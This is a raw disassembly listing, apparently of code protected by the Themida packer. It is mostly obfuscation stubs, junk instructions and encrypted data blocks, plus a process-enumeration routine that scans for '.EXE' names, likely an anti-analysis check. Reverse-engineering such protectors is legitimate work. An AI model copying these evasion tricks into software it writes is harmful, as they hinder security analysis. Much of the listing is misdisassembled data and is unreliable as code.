mov [ebp+612145Dh], eax
push 0
push ecx
call sub_5D50BD
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D50BD proc near ; CODE XREF: Themida_:005D50B5p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5D50BD endp
; ---------------------------------------------------------------------------
jnz short loc_5D5123
pop ecx
adc bl, bl
inc cl
retn 10E9h
; ---------------------------------------------------------------------------
align 4
dd 0ED100000h, 0D5D89E2Dh, 3EC741BCh, 2300E76Fh, 568B837h
dd 50BBFC4Eh, 8B0F6052h, 0
dd 0F6129B2h, 0E9525031h, 9, 12DBA4A0h, 9D05EBB4h, 0E9310FB1h
dd 5, 5E35B8EAh, 5A585A79h, 24048158h
; ---------------------------------------------------------------------------
sub bl, [edx-6Dh]
loc_5D5123: ; CODE XREF: Themida_:005D50CDj
xor al, 60h
jmp loc_5D5134
; ---------------------------------------------------------------------------
dw 27E0h
dd 38E79715h, 0BDE33156h
; ---------------------------------------------------------------------------
loc_5D5134: ; CODE XREF: Themida_:005D5125j
sbb dx, 5546h
popa
push dword ptr [ebp+6123101h]
jnb loc_5D5153
jmp loc_5D5153
; ---------------------------------------------------------------------------
db 29h
dd 4901A1DBh
db 9Dh, 0ADh, 0
; ---------------------------------------------------------------------------
loc_5D5153: ; CODE XREF: Themida_:005D5140j
; Themida_:005D5146j
lea eax, [ebp+615827Ah]
push 0
push edi
call sub_5D5164
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5164 proc near ; CODE XREF: Themida_:005D515Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5D5164 endp
; ---------------------------------------------------------------------------
cmpsb
xchg eax, ebp
jmp loc_5D5186
; ---------------------------------------------------------------------------
db 87h
dd 53D9F7C4h, 0ED90F2CDh
db 0ADh, 0D0h
; ---------------------------------------------------------------------------
loc_5D5186: ; CODE XREF: Themida_:005D5176j
call eax
push 0
push edx
call sub_5D5193
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5193 proc near ; CODE XREF: Themida_:005D518Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5D5193 endp
; ---------------------------------------------------------------------------
sub ecx, edi
mov [ebp+6122CB5h], eax
push 0
push edx
call sub_5D51B6
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D51B6 proc near ; CODE XREF: Themida_:005D51AEp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5D51B6 endp
; ---------------------------------------------------------------------------
dw 745Bh
dd 8FB14B5Ah, 9B656A04h, 188B0Fh, 13E90000h, 95000000h
dd 49BC1D69h, 0C8505F82h, 0B1DB59E1h, 0BBF3C53Fh, 85C69CE7h
dd 61215C1h, 56006A50h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 0E992D4B6h, 0Ah, 24ADF95Dh, 41107FE7h
dd 0E768CAD3h, 50F64D14h, 6820F52h, 50000000h, 5A310F52h
dd 0F310F58h, 1789h, 12E900h, 0B7070000h, 2767835Dh, 0E72C2AB2h
dd 0B8A8BDB7h, 243FAE3h, 3481585Ah, 0D1C8B124h, 0E960F961h
dd 0Fh, 0AF4A1B42h, 0FEBD05CBh, 28CC7F33h, 609FA65Fh, 10E8F8h
dd 80700000h, 0F9347965h, 7B893C76h, 7833F1ACh, 6158C5EDh
dd 0F1B5FF61h, 0E9061217h, 5, 95F1B61Fh, 48858DC2h, 0F06123Bh
dd 0E86h, 820F6000h, 0
; ---------------------------------------------------------------------------
ja $+6
popa
call eax
clc
pusha
jmp loc_5D52CD
; ---------------------------------------------------------------------------
dd 0A8A871Ch, 0B04A92E0h, 0C1C350A0h
; ---------------------------------------------------------------------------
dec ebp
loc_5D52CD: ; CODE XREF: Themida_:005D52BBj
adc bx, 47DFh
popa
mov [ebp+61222D5h], eax
pusha
js loc_5D52E6
jnz $+6
loc_5D52E6: ; CODE XREF: Themida_:005D52DAj
jmp loc_5D52F9
; ---------------------------------------------------------------------------
mov dh, 7Bh
mov bl, 0B8h
les eax, [esi]
movsb
xor [ecx+62h], eax
xor esp, [ebx]
js short loc_5D5376
loc_5D52F9: ; CODE XREF: Themida_:loc_5D52E6j
popa
jmp loc_5D546A
; ---------------------------------------------------------------------------
stc
push eax
jmp loc_5D530E
; ---------------------------------------------------------------------------
dw 2C12h
dd 383432EFh
db 9Dh, 0C6h
; ---------------------------------------------------------------------------
loc_5D530E: ; CODE XREF: Themida_:005D5301j
mov [esp], ebp
jmp loc_5D5320
; ---------------------------------------------------------------------------
dw 534h
dd 0DDE8E080h, 0CAEE4C6Fh
; ---------------------------------------------------------------------------
loc_5D5320: ; CODE XREF: Themida_:005D5311j
mov ebp, esp
cmc
add esp, 0FFFFFFFCh
push 0
push ecx
call sub_5D5331
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5331 proc near ; CODE XREF: Themida_:005D5329p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5D5331 endp
; ---------------------------------------------------------------------------
jmp ebx
; ---------------------------------------------------------------------------
jmp loc_5D535C
; ---------------------------------------------------------------------------
dd 0A9F0D8D3h, 1200705Bh, 4C089F7Bh, 0A46C9931h, 460AE877h
; ---------------------------------------------------------------------------
loc_5D535C: ; CODE XREF: Themida_:005D5343j
jmp loc_5D5374
; ---------------------------------------------------------------------------
db 0B3h, 3Dh, 0BAh
dd 7606F605h, 0E29622F3h, 0EDBA55D1h, 57F3213Fh
; ---------------------------------------------------------------------------
loc_5D5374: ; CODE XREF: Themida_:loc_5D535Cj
pusha
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_5D5376: ; CODE XREF: Themida_:005D52F7j
or eax, 66000000h
; ---------------------------------------------------------------------------
db 0DBh
dd 6E25D64h, 0CD0E30BAh, 0E845B7FFh, 0
; ---------------------------------------------------------------------------
pop edx
sub edx, 61798B2h
mov dword ptr [ebp-4], 0
cmp dword ptr [edx+6121FC9h], 1
jz loc_5D543F
push edx
push 0
push 0Fh
call dword ptr [edx+6121DE5h]
pop edx
mov [edx+61792CCh], eax
lea ebx, [edx+61792D0h]
push edx
mov dword ptr [ebx], 128h
push ebx
push eax
call dword ptr [edx+612145Dh]
pop edx
loc_5D53CF: ; CODE XREF: Themida_:005D53F9j
; Themida_:005D542Dj
push edx
lea ebx, [edx+61792D0h]
push ebx
push dword ptr [edx+61792CCh]
call dword ptr [edx+61222D5h]
pop edx
or eax, eax
jz short loc_5D5438
lea ebx, [edx+61792D0h]
lea edi, [ebx+24h]
xor ecx, ecx
loc_5D53F3: ; CODE XREF: Themida_:005D5403j
cmp ecx, 104h
jz short loc_5D53CF
inc ecx
cmp dword ptr [ecx+edi], 4558452Eh
jnz short loc_5D53F3
lea esi, [ecx+edi]
sub esi, [ebp+0Ch]
lea edi, [edx+6120CBDh]
mov ecx, [ebp+0Ch]
rep movsb
xor al, al
stosb
push edx
push dword ptr [ebp+8]
lea eax, [edx+6120CBDh]
push eax
call dword ptr [edx+6122CB5h]
pop edx
or eax, eax
jnz short loc_5D53CF
mov dword ptr [ebp-4], 1
jmp short loc_5D543F
; ---------------------------------------------------------------------------
loc_5D5438: ; CODE XREF: Themida_:005D53E6j
mov dword ptr [ebp-4], 0
loc_5D543F: ; CODE XREF: Themida_:005D53A1j
; Themida_:005D5436j
popa
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5D5452
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5452 proc near ; CODE XREF: Themida_:005D544Ap
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5D5452 endp
; ---------------------------------------------------------------------------
dw 0B3EBh
dd 0CEF88C28h
; ---------------------------------------------------------------------------
push ebx
clc
loc_5D546A: ; CODE XREF: Themida_:005D4EE9j
; Themida_:005D52FAj
mov edx, edx
pop esp
sbb eax, 0B12E1E57h
jnb short near ptr loc_5D549A+4
pushf
insd
xor ebx, esi
xor edi, [edi+25h]
pop es
dec ebx
cmp ebx, [ecx+7Bh]
jl short near ptr loc_5D54FE+2
mov ch, bh
xchg eax, ebp
mov ecx, ebx
adc byte ptr [ecx-75h], 0B5h
xor ah, [eax-1]
and eax, 210BA8D0h
sbb al, 6Eh
xchg ah, [ecx+3Ch]
in al, 3Dh
loc_5D549A: ; CODE XREF: Themida_:005D5472j
mov ds:328864FEh, edi
mov ebp, 36628851h
cmp [eax-2FE490CEh], cl
icebp
out dx, eax
mov dl, 0CCh
push ss
fistp qword ptr [edx+22E916CCh]
mov [edx], dh
idiv byte ptr [ebx-28h]
icebp
mov ah, 0D8h
or edi, edi
pop ds
adc al, 8
shl byte ptr [ecx-52248973h], 1
cmp [eax-24C422CEh], cl
fcmovu st, st
cmp ecx, [eax+4B60CD32h]
imul edi, [edi+67h], 7FFA36ACh
lodsb
mov al, ss:9D32883Bh
push 0D407594Bh
push esi
mov bl, 8Dh
cmp [ebp+79h], ch
xor [ebp+32h], ebx
and eax, 0B3EE5B36h
xor eax, 1B642FE3h
pop edx
loc_5D54FE: ; CODE XREF: Themida_:005D5480j
rcl byte ptr [ebx+3Eh], cl
xchg ch, ch
adc ecx, esp
cmp eax, 0BEB3D88h
mov [edx], dh
mov bh, 5Dh
aaa
or [ebx-2Eh], ah
lock xor ebp, ebp
cmp esp, edx
xor ah, [ebx+7B328BD3h] ; CODE XREF: Themida_:005D5558j
cmp ebp, [eax+1667E6Fh]
pop esi
cli
aas
or [esi+4Bh], esi
aas
xchg eax, ebp
xor dh, [edi+1867CD3Bh]
test [ecx-7Dh], cl
enter 0FFFFD8CCh, 0A2h
int 46h ; Secondary Fixed Disk Params (AT,XT286,PS except ESDI)
arpl [ebx-7FF249F8h], ax
and al, 2Ch
mov fs, word ptr [edx-74h]
pop ebx
call near ptr 87C6949Eh
add ebp, ebp
arpl cx, bp
insb
push edx
aas
lodsb
push esp
insb
fisttp qword ptr [esi-37h]
jnp short near ptr loc_5D5517+1
sbb al, 0ABh
insb
cmp eax, 6B5C8018h
pusha
cmp al, 0DEh
cmp ecx, [eax-7E9B61EEh]
or ah, cl
sbb al, 0Eh
test eax, 0EBCD7CA7h
pop esp
pop ebp
add edi, ebp
test eax, 3D8771ABh
les ebx, ds:8E29A2EFh
pop eax
fisubr word ptr [ebp+60h]
xor [edi+3Bh], ebp
mov [edx], dl
jmp near ptr 0B0192C89h
; ---------------------------------------------------------------------------
db 1Fh, 8Ch, 0B3h
dd 298C1FA9h, 74883BF6h, 2896F82Dh, 0F883571Bh, 3560E993h
dd 0B883B6Fh, 0CC501AB5h, 0C309B7FBh, 75E56C3Ch, 3B0034A9h
dd 3D883B7Bh, 3288383Ch, 0E33F34DEh, 0B9EEFBE4h, 3335B878h
dd 328E29F4h, 8F0B3298h, 349A1ABFh, 62914F7Bh, 8A48B0EEh
dd 32883FA4h, 39BDBEE6h, 0AF053DA5h, 349C96D2h, 6AD3E812h
dd 13C18675h, 46883D69h, 8ADB6BAAh, 32883FA4h, 39BDBEE6h
dd 0AF053DA5h, 349C9223h, 6AD3E812h, 32882F1Fh, 0B472C77Bh
dd 8B0D170Dh, 0F9D59472h, 87E28FBCh, 8BF5EA6Dh, 329AD2AFh
dd 61873BEDh, 0F3CDC4DDh, 4B992084h, 3CFA5385h, 0B20563E1h
dd 6D79B03Eh, 3B61FB3Ch, 0EA883BDBh, 5849EDE6h, 0EB4665C6h
dd 0AB14A6F6h, 32E23DAAh, 328BD38Ch, 68A83B6Fh, 66016174h
dd 76093FFFh, 329E3FC9h, 60CA3BF6h, 0D7B154B8h, 206F82DBh
dd 461EBE53h, 0CD713D78h, 328FD267h, 0BBA3BDBh, 0AAB133AFh
dd 3D483038h, 32889DFFh, 618851BDh, 32883836h, 0F1D31B6Fh
dd 16D4B2ECh, 16CCBADFh, 328827E9h, 0F1DB78F6h, 6957AE17h
dd 9173D3A3h, 3D788EA8h, 328838EAh, 3E42BBB7h, 7CC3A656h
dd 0CBE83DFFh, 8AE9CA7Dh, 32883B78h, 0DADE3BD7h, 32883BDDh
dd 6C4B654Fh, 36AC4F3Eh, 36AC7F5Ah, 32883BF4h, 0F74B6DB0h
dd 6389E24Eh, 0D177C375h, 0DADB3BB4h, 32883B6Ch, 694B6097h
dd 36AC6752h, 36AC7F6Ch, 32883BECh, 464B6838h, 0FFE60C14h
dd 35607801h, 57883B6Fh, 8C159BA4h, 38603FEFh, 3F883BEDh
dd 874C46DCh, 806B4BEFh, 68D76B73h, 0BF78B087h, 25119FF2h
dd 3298D3B1h, 0E6733BDBh, 0EE973DECh, 0BCFE90B0h, 6DC5E2D2h
dd 8CEE9E48h, 0BFD1076Bh, 25FCADEAh, 608851B1h, 32883833h
dd 0F1D21BEDh, 16DCB2ACh, 16CCBA7Fh, 328827B9h, 0F1DA79DEh
dd 97BBB7DEh, 1F66A2E4h, 484EBAFAh, 3DD5F3D1h, 32883E76h
dd 0C5095D7Bh, 0E2776D5Fh, 328BB6D1h, 0F7083B6Fh, 3D483093h
dd 3288485Fh, 658851EDh, 3288381Eh, 0F1D71B7Bh, 16F4B2E2h
dd 16CCBADAh, 32882D6Bh, 0F1DF7CB7h, 63585F6Bh, 0BF7BB1B7h
dd 20C6706Bh, 6488517Dh, 32883855h, 0F1D61BDEh, 16FCB231h
dd 16CCBAB3h, 328823DFh, 0F1DE7DEDh, 2F4BF77Eh, 33365DE5h
dd 32898321h, 0D1773BDEh, 0DADB3B05h, 32883BB4h, 694B60FBh
dd 36AC6764h, 36AC7F77h, 32883B63h, 254B68FEh, 7DC8B03Dh
dd 0AB21A6E2h, 32E23DA0h, 328BD38Ch, 6DA83BEDh, 4E016435h
dd 76093F5Fh, 32903F99h, 65CF3BDEh, 0B3D6B6ACh, 0B7054A0Dh
dd 349F4F4Dh, 0EE47BA8Bh, 0C13734F7h, 0F708EB84h, 3D48308Eh
dd 32881E5Ah, 0FC035D6Fh, 0AF05C93Ch, 349A7590h, 330034BAh
dd 0CB883BF6h, 328B8322h, 8CEE3BBDh, 9B39997Fh, 8BEED890h
dd 0BFCBAB66h, 2511A966h, 0E305B6EBh, 8A8E2C6Bh, 0B8C36706h
dd 32DDBE8Eh, 0FDA33DCCh, 119FF2BFh, 98D3B125h, 733BDB32h
dd 973DECE6h, 0FE90B0EEh, 0C5E2D2BCh, 839E486Dh, 0A4F305E9h
dd 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 519B21C3h, 0DE816602h, 0C38BCFC7h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0AAC35343h, 8CB62088h
dd 8BFB8BAEh, 0EE8C0h, 89910000h, 77A38A66h, 856DBB21h
dd 0DAD1E1D0h, 0CE9h, 19812F00h, 0D4437422h, 0EAA99109h
dd 860F5927h, 0
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+6122F01h], 0
jnz short loc_5D5952
cmp dword ptr [ebp+6122149h], 0
jz short loc_5D596B
loc_5D5952: ; CODE XREF: Themida_:005D5947j
push eax
push ebx
mov eax, eax
mov eax, 47Ah
mov [ebp+61202B9h], eax
lea ebx, [ebp+614AD70h]
call ebx ; _iob
pop ebx
pop eax
loc_5D596B: ; CODE XREF: Themida_:005D5950j
cmp dword ptr [ebp+6122149h], 0
jz short loc_5D598B
push eax
push ebx
mov eax, 47Ah
mov [ebp+61202B9h], eax
lea ebx, [ebp+614AA11h]
call ebx ; _iob
pop ebx
pop eax
loc_5D598B: ; CODE XREF: Themida_:005D5972j
mov ecx, edx
xor dl, 14h
push 0
push edx
call sub_5D599B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D599B proc near ; CODE XREF: Themida_:005D5993p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5D599B endp
; ---------------------------------------------------------------------------
mov esp, 8B506FD1h
ror byte ptr [ebp+179FCB8Dh], 6
push 0
push esi
call sub_5D59C2
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D59C2 proc near ; CODE XREF: Themida_:005D59BAp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5D59C2 endp
; ---------------------------------------------------------------------------
dw 7D4Ah
; ---------------------------------------------------------------------------
movsb
db 26h
nop
xor [ebp-746E4C7Eh], edx
mov byte ptr [ecx+122DCD8Dh], 6
push 0
push ecx
call sub_5D59EF
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D59EF proc near ; CODE XREF: Themida_:005D59E7p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5D59EF endp
; ---------------------------------------------------------------------------
db 19h
; ---------------------------------------------------------------------------
pop esp
mov dword ptr [ebp+61231BDh], 6358h
call near ptr loc_5D5A11+6
stosd
loc_5D5A11: ; CODE XREF: Themida_:005D5A0Bp
adc ah, [ebp+ecx*4+51EDBE14h]
sbb ebx, 2F4DA241h
pop eax
pop edx
mov dword ptr [ebp+6120011h], 0
push 0
push ebx
call sub_5D5A35
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5A35 proc near ; CODE XREF: Themida_:005D5A2Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5D5A35 endp
; ---------------------------------------------------------------------------
push 0FFFFFFDCh
and esi, [ebx-50345640h]
add al, [edi]
push dword ptr [ebp+6122D79h]
jmp loc_5D5A62
; ---------------------------------------------------------------------------
dw 789Ah
dd 0F5DA116Ah
; ---------------------------------------------------------------------------
mov dl, 40h
loc_5D5A62: ; CODE XREF: Themida_:005D5A55j
call dword ptr [ebp+6122781h]
push 0
push ecx
call sub_5D5A73
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D5A73 proc near ; CODE XREF: Themida_:005D5A6Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_5D5A73 endp
; ---------------------------------------------------------------------------
db 5Fh
dd 0DE853h, 40F40000h, 993B2CDEh, 60319586h, 13960A0h
dd 120ED9BDh, 6A5806h, 29D195FFh, 0C08B0612h, 7B851FEBh
dd 6FBDFCB8h, 0F33985ACh, 0BB47026Fh, 4F8C2D1Bh, 9FC96090h
dd 9CF318F6h, 82F08BB3h, 0BE8C0h, 4ACA0000h, 0BD49E1D8h
dd 0C2FFB29Ah, 1B58B6Ch, 5806121Dh, 3890Fh, 0BF0F0000h
dd 0E6C081F6h, 8B000069h, 12090D9Dh, 0BA06h, 0C7800000h
dd 234FF4Bh, 59F78B66h, 11B99D23h, 0C1810612h, 767A3A3Ch
dd 2871B50Bh, 0C1810612h, 556AFD90h, 0D103EF81h, 0E98160B6h
dd 4F021EF7h, 3880Fh, 0E3800000h, 100C89B8h, 108B0Fh, 0BE90000h
dd 1F000000h, 0BF00F3BCh, 0B177B368h, 83F8AA03h, 0B52B03EAh
dd 6122ABDh, 19B58B4Ah, 8106122Eh, 0FF96ECFAh, 28850FFFh
dd 0E8000000h, 7, 6F05EDB8h, 66490484h, 5FA668BBh, 27E9h
dd 0A900AD00h, 50E6710Bh, 9626C269h, 0D05D324Eh, 89712A29h
dd 122571B5h, 0FF63E906h, 0C6B8FFFFh, 0F7A205AEh, 995AB2F7h
dd 0A18E8D8Dh, 8D890617h, 6122DCDh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 0D8C35646h, 62939133h, 0BF0F789Dh
dd 459D8BC0h, 0C7061226h, 1231BD85h, 69A006h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 8A0FB633h, 3, 0C726F280h, 12001185h, 6, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 3FB884F3h, 9BEDE42h, 120ED99Dh, 2D958906h, 0FF061220h
dd 1225B1B5h, 6D958B06h, 0FF061203h, 12278195h, 68B0F06h
dd 89000000h, 121E45BDh, 0FF006A06h, 1229D195h, 0EBC08B06h
dd 0D0196F0Eh, 4452B355h, 0B20FE6A6h, 0E9259342h, 0Fh
dd 64B37969h, 7C809E01h, 0
dd 0E9000000h, 0E45h, 17A35068h, 0DF3BE906h, 6F68FFFAh
dd 0E90617A4h, 0FFFADF31h, 17A5E868h, 0DF27E906h, 3168FFFAh
dd 0E90617A7h, 0FFFADF1Dh, 17A92368h, 0DF13E906h, 6C68FFFAh
dd 0E90617ABh, 0FFFADF09h, 17AD0968h, 0DEFFE906h, 5968FFFAh
dd 0E90617AEh, 0FFFADEF5h, 99E62968h, 36838C00h, 0D522ED9Dh
dd 6FBC533Ch, 0B58B7D6h, 39549A1Bh, 9BF089D6h, 28E2774h
dd 6727C00Dh, 32815BA8h, 0F7015D2Ah, 6B411E4Dh, 82019314h
dd 7F4935F5h, 5CB3DBECh, 0DF305E27h, 452C3592h, 7C107E86h
dd 767749F2h, 0F497F817h, 547BB01Bh, 7C2E7AD3h, 4FE25CD2h
dd 0F1629CEFh, 0A63B574Dh, 0A46B24DDh, 0E12CA411h, 0D38C24AEh
dd 4F2257B8h, 3CBABCh, 12CB0000h, 0D402957Ah, 1C0A5AEh
dd 96CB4448h, 0B9C130C3h, 49F17F0Dh, 20386D78h, 4DF1806Bh
dd 1E756C88h, 24AEDFA6h, 7E3D4D06h, 0F18D1176h, 0FC67724Dh
dd 891CF39Bh, 0D287h, 5B14D900h, 3748DB34h, 0BA83B857h
dd 3E073CD3h, 0E900BF50h, 0DF5FA6E1h, 37CAD547h, 18722B52h
dd 1AF596F7h, 0F7187687h, 5ABCC2AAh, 6C2247DFh, 642BE4A3h
dd 821B18ABh, 41CE030Ch, 828A4938h, 49F16558h, 0F8EF3C47h
dd 5C44B3Fh, 0F16E8AFDh, 5BEEF94Dh, 0D9987D86h, 0E4A3ABC2h
dd 974DF16Eh, 0ED99F98Ch, 98500411h, 1563139h, 1A2547E6h
dd 5637F0AFh, 0BAD36CB9h, 0CA454801h, 7512C295h, 647E601h
dd 701190FBh, 2EDB154h, 0BF6965Dh, 6F220000h, 0D2BA53A0h
dd 3357F03Dh, 99F68FDCh, 0FD902976h, 0E0D5C512h, 43907F0Eh
dd 0E12EE1AAh, 7AC74848h, 1562ADE1h, 0A3E4EC3Bh, 0E04DF702h
dd 1B722D03h, 800EA7F4h, 6527F299h, 37A275AAh, 0AEC97FCCh
dd 0F901C0A5h, 49F17ECDh, 0D9365811h, 34F3FE46h, 69FC137Bh
dd 811F6C84h, 0EF9B4DF1h, 7AAF602Ah, 3E073CA7h, 0C38CC14Eh
dd 401348C7h, 657A67ABh, 0C9C0213Dh, 24AEDFC9h, 0F5929AB1h
dd 864DF18Ch, 0D4E6E87Bh, 38000000h, 0BEF31C72h, 427798F5h
dd 0DF5A542Ah, 2BE4AA47h, 0C64945DEh, 0D03F4E07h, 1B6C749Bh
dd 6847DF64h, 7A5FF25Dh, 0C28BD253h, 0D10BE36Bh, 1D60693Eh
dd 0E0117215h, 9B061147h, 0A66923DCh, 523D9E71h, 0B3BB2ABDh
dd 49F21327h, 13CC8B96h, 768EDA77h, 0F099C468h, 0FDD45C85h
dd 0B85FFC22h, 0C2CB2825h, 870C14D3h, 6C500407h, 0A4E9A261h
dd 0E22D5E17h, 5D2ADAADh, 1E47E60Eh, 36A16E1Dh, 37530CCBh
dd 0AF4845D8h, 0BB543BDEh, 592ED150h, 5F04EDB1h, 0AD798h
dd 818E0300h, 1EF19B34h, 0BD5238D1h, 57B8D770h, 0F31C710Ah
dd 0EFFFB6A6h, 8B24719Eh, 29C20F00h, 0C25BA867h, 1CF643CCh
dd 3C2C5CDh, 0E4C14DF7h, 355B140Eh, 573647DAh, 0BCD26BB8h
dd 72500653h, 0F5BEF31Ch, 0FEB77699h, 0F2EF828Dh, 0E6A58C95h
dd 967916CFh, 9BFB8E61h, 49F16CCBh, 0A2BAEFFAh, 4DF16DECh
dd 7913CC0Bh, 2AB70396h, 0AEEC6363h, 711B824h, 0AE0A0000h
dd 4801C0A5h, 0C396CB44h, 91B9C130h, 0EC49F17Dh, 0F794ACE1h
dd 0C34DF17Ch, 0D03F51C8h, 24673065h, 0E7996F5h, 0B22F43D9h
dd 83B85737h, 11D45B0h, 0FF29A9E0h, 0D4FE24AEh, 50000006h
dd 1C0A5AEh, 0F18775F9h, 8F9049h, 7E11DA0Fh, 1E895C91h
dd 9A195CF5h, 3BA6F40Eh, 2A5D657Ch, 594DF1FAh, 0AFD6BB4Eh
dd 0F9F79098h, 79844DF1h, 0FA0586E6h, 0DBB54DF1h, 5836FF34h
dd 535B82B7h, 4DF1FA34h, 0FA0E3C47h, 0AECAF2E7h, 78645C33h
dd 7CB124AEh, 3000006h, 0D4DDAE9Bh, 28262EEDh, 5F49F175h
dd 43230354h, 0E5BA0496h, 308BFFDCh, 0E69B5F28h, 0A6111CD1h
dd 0E4657C3Bh, 0E62C02CAh, 88E110B3h, 0F2CBAAD3h, 65222AE9h
dd 16D1E6F8h, 8618780Bh, 61D3F910h, 8B942156h, 0E4DFE7A6h
dd 0FD6071Eh, 28C4504h, 6727C00Dh, 0FF34DBB2h, 14B7D0D8h
dd 0B9C4D1E7h, 0B964E34Eh, 9967B043h, 95E2DF4h, 78A0000h
dd 6A22BB08h, 0CBBF58A5h, 315EF744h, 95F891DEh, 783D2D7Ah
dd 0ABF81776h, 49967912h, 0E22FE0B0h, 7DCA4549h, 3B4C54A3h
dd 484DF705h, 9314956Bh, 0FFAC964Ah, 1122B531h, 0D05D927Dh
dd 131BDAC7h, 49F5D712h, 45CAC17Ah, 62AA3D10h, 0ABE02F61h
dd 0F863ACE2h, 8358408Dh, 974DF6D9h, 0EE116F9h, 0E9100DE5h
dd 85F00DC4h, 0B51B45C6h, 15169FDBh, 47000F82h, 2435C847h
dd 2DE6A56Ah, 0A679AE61h, 0AFB91613h, 0C4FB03C2h, 0F74DF71Ch
dd 0A0EEB7ECh, 0AA2B226Fh, 0EA6F850h, 33DCB0BFh, 0E6D535C8h
dd 964DF6C4h, 0C510777Fh, 68734DF6h, 4DCCC4D5h, 1562CD42h
dd 262B651Eh, 745099A6h, 42D5405Ch, 7DB25D31h, 0F6532665h
dd 0C51C604Dh, 987713CCh, 0B79AF405h, 0A978D57Eh, 0E1A00BE6h
dd 0ECC5C2CAh, 0ABB641C7h, 0C821B18h, 0EEA7CE03h, 80E0739Ch
dd 41C7FD0Bh, 8208C1D0h, 0F285588Dh, 0DEB03BA6h, 34EDE431h
dd 1322B55Ah, 121h, 6A1D253Ch, 1941C7FCh, 724D7B0Eh, 818EFD1Ch
dd 7818E116h, 3D4A6297h, 7547DF60h, 858A0019h, 0DD127D50h
dd 9B5A4750h, 0F4FF9293h, 97162149h, 0EBA0561Ch, 15EAB156h
dd 41000008h, 0D972BF50h, 760F5CB3h, 15AEFB14h, 0AF48957Ah
dd 0F4E431DEh, 0AF602DC1h, 4DC2C962h, 0E6296700h, 818E0099h
dd 30B5A34h, 4DF70684h, 72441AF7h, 7C93FD1Ch, 699E711Bh
dd 556C2B96h, 0DF603A4Dh, 0AB3E4947h, 0A4E69FC6h, 8A850A6Bh
dd 72A7E6F7h, 0F6BFF41Bh, 72457A95h, 0B64F9C07h, 0F57635DAh
dd 0F4AC9ACh, 1512A537h, 0B0FD127Ch, 0DA997617h, 27EACF59h
dd 39CCE1E8h, 90AC2D54h, 0FE5F66C1h, 48EF901h, 0E2ED47E0h
dd 0BAD3E477h, 0ADDD9655h, 0BEACF62h, 1A315A87h, 0E0047512h
dd 68FB0647h, 8CD93657h, 0BC5B3F97h, 7EC22h, 743E0000h
dd 0ACh, 0F31C72DEh, 6FE5A6BEh, 0E7F647DFh, 1BAE612Eh
dd 0B7D712CFh, 1E720B58h, 0EAA4BCF1h, 0DE47DF6Fh, 0A7BEC71Ah
dd 0DF6FE89Fh, 0FD909B47h, 1E6BA4ECh, 0FB1E7268h, 52117C93h
dd 82BA3CD1h, 0FCCF040Bh, 0A57D19D3h, 20F328E7h, 163D22B5h
dd 8290F7FFh, 0E8F347DFh, 0D3080787h, 345C6D00h, 0B3DDA6DBh
dd 0B4E92666h, 784176E1h, 1C6FB14h, 0D84F944Dh, 4B048D54h
dd 0C699CE41h, 0A16E2233h, 8BC66C54h, 1A6047DFh, 29E6A473h
dd 7F821F4h, 8542AD6Ch, 22BCF00Ch, 32DDB36Ch, 95972AFDh
dd 0FFFFFE7Bh, 36974E7h, 0E49D0000h, 0A6D467A8h, 90FD1C72h
dd 0C774A7Fh, 5FFCBFD7h, 2EE247DFh, 0B95638B3h, 0C34C41FAh
dd 2B28BB8Eh, 5413FC92h, 0E51AF59Bh, 7F447754h, 0C02B5B89h
dd 0A021482Dh, 1DEDEC09h, 0A4049755h, 47E05B17h, 50BFCC85h
dd 0A4B5481Bh, 0BEC9D1EAh, 0BD47E05Ah, 851247B2h, 1DD6957Ch
